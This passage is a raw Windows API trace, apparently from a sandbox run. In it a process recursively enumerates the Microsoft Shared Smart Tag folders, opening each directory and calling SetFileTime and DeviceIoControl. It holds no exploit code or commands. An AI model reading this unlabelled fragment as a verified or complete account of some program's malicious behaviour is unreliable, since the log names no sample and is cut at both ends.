ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0054.283] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0054.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0978 [0054.284] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0978, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0978, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0054.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0978) returned 1 [0054.284] NtClose (Handle=0x164) returned 0x0 [0054.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef2d8 [0054.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef5f0 [0054.285] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0054.286] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.286] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0054.286] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0054.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef6f8 [0054.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e84c0 [0054.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef800 [0054.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.286] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0054.287] GetLastError () returned 0x12 [0054.287] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0054.287] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0054.287] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.287] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0054.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef908 [0054.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0054.288] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0054.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0978 [0054.288] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0054.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0978) returned 1 [0054.288] NtClose (Handle=0x164) returned 0x0 [0054.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ef908) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef908 [0054.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9efa10 [0054.289] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0054.289] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.289] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9efb18 [0054.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e84e0 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9efc20 [0054.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.289] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8500 [0054.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9efd28 [0054.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.290] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8520 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9efe30 [0054.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.290] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8540 [0054.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eff38 [0054.290] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0054.290] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0054.290] GetLastError () returned 0x12 [0054.291] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0054.291] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0054.291] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.293] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0054.296] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0054.299] GetLastError () returned 0x12 [0054.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9efa10) returned 1 [0054.299] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0054.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9efb18) returned 1 [0054.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ef908) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0054.299] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0054.300] GetLastError () returned 0x12 [0054.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ef5f0) returned 1 [0054.300] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ef6f8) returned 1 [0054.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ef2d8) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0054.300] GetLastError () returned 0x12 [0054.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.300] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0054.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 